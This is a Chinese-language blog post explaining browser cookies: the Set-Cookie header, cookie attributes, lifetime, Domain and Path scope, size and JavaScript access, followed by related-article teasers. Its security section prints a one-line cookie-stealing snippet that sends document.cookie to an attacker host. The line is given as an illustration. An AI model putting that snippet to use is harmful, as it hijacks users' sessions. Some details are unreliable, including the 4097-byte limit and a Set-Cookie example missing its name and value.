前端存儲 (1) -- Cookie

zhangyucha0 發布于2019-08-22 18:45 / 1004人閱讀

摘要：瀏覽器收到響應后通常會保存下，之后對該服務器每一次請求中都通過請求頭部將信息發送給服務器。另外，的過期時間域路徑有效期適用站點都可以根據需要來指定。存儲大小個字節，多了瀏覽器會默默刪掉訪問安全問題

創建

組成

生命周期

作用域

存儲大小

創建Cookie

當服務器收到HTTP請求時，服務器可以在響應頭里面添加一個Set-Cookie選項。
瀏覽器收到響應后通常會保存下Cookie，
之后對該服務器每一次請求中都通過Cookie請求頭部將Cookie信息發送給服務器。
另外，Cookie的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。

服務器使用Set-Cookie響應頭部向用戶代理（一般是瀏覽器）發送Cookie信息。一個簡單的Cookie可能像這樣：

  Set-Cookie: =
  response.setHeader("Set-Cookie", ["type=ninja","username=123qad"， "language=javascript"]);

組成

Name

Value

Domain

Path

Expires/ Max-Age 過期時間

Size

Http

Secure 是否加密,標記為Secure 只會通過 htpps 協議傳輸， http 是不能設置的

SameSite

組成

生命周期

默認是瀏覽器關閉就清掉，一般會設置指定過期時間（Expires）或者有效期（Max-Age）
需要注意的是，有些瀏覽器提供了會話恢復功能，這種情況下即使關閉了瀏覽器，會話期Cookie也會被保留下來，就好像瀏覽器從來沒有關閉一樣。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

作用域

Domain (域名)和 Path 標識定義了Cookie的作用域：即Cookie應該發送給哪些URL。

Cookie 的Domain 屬性可以設置 Cookie 發送哪些 url，默認是在當前域名下，但有時候我們可能幾個站點想共享Cookie 信息
比方 qq空間(qq.tentxun.com)登陸了，我想點進 qq 郵箱(mail.tenxun.com)，那要是再登陸一次，用戶爸爸肯定受不了，所以通過設置
cookie 的 domain 為 ".tenxun.com",從 qq空間點擊鏈接進入 qq 郵箱， qq郵箱通過 cookie 信息，獲取用戶信息，就可以不用再次登陸了

如果設置 Domain=mozilla.org，則Cookie也包含在子域名中（如developer.mozilla.org）。

存儲大小

4097個字節，多了瀏覽器會默默刪掉

javascript 訪問 Cookie

 var cookie = document.cookie;
 document.cookie = "username=tt";

安全問題

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

GPU云服務器云服務器 cookie存儲存儲cookie curl存儲cookie 免費cookie存儲對象

文章版權歸作者所有，未經允許請勿轉載,若此文章存在違規行為，您可以聯系管理員刪除。

轉載請注明本文地址：http://specialneedsforspecialkids.com/yun/96162.html

[聊一聊系列]聊一聊前端存儲那些事兒

摘要：如圖圖顧名思義，，是級別的存儲。如筆者寫的一篇淺析文章聊一聊百度移動端首頁前端速度那些事兒讀者們可以嘗試使用。歡迎大家收看聊一聊系列，這一套系列文章，可以幫助前端工程師們了解前端的方方面面（不僅僅是代碼）：https://segmentfault.com/blog/frontenddriver 在web開發越來越復雜的今天，前端擁有的能力也越來越多。其中最重要的一項莫過于web存儲。...

caige 2019-08-19 18:46 評論0 收藏0
前端存儲

摘要：前端存儲簡介一種在前端保存數據的思想。為了保證前端性能，一般不會保存大量數據。在手動刪除前一直存在關閉當前頁面后被清除可存放大小與服務器通信每次都在頭部信息中。前端存儲簡介一種在前端保存數據的思想。第一次在頁面中的保存數據，那么從第二次開始就可以使用了。可以使用的方法有： cookie localeStorage sessionStorage ie的userData web s...

luckyw 2019-08-22 16:01 評論0 收藏0
前端存儲

摘要：前端存儲簡介一種在前端保存數據的思想。為了保證前端性能，一般不會保存大量數據。在手動刪除前一直存在關閉當前頁面后被清除可存放大小與服務器通信每次都在頭部信息中。前端存儲簡介一種在前端保存數據的思想。第一次在頁面中的保存數據，那么從第二次開始就可以使用了。可以使用的方法有： cookie localeStorage sessionStorage ie的userData web s...

binaryTree 2019-08-06 13:30 評論0 收藏0
前端分享之cookie的使用及單點登錄

摘要：兩個域之間是不是存在跨域問題，主要是根據協議域名端口號這三個點進行判斷，只要有一個不一樣就是跨域。例如協議不同與域名不同與端口號不同與瀏覽器默認情況下無法主動跨域向后端發送，需要在前端請求時加入配置項。據此，可以實現單點登錄。 cookie是什么 cookie的英文意思是餅干。在計算機術語中指服務端存放在客戶端的一段數據。這段數據在客戶端每次進行http請求時會自動加在http請求報文...

Backache 2019-08-01 17:39 評論0 收藏0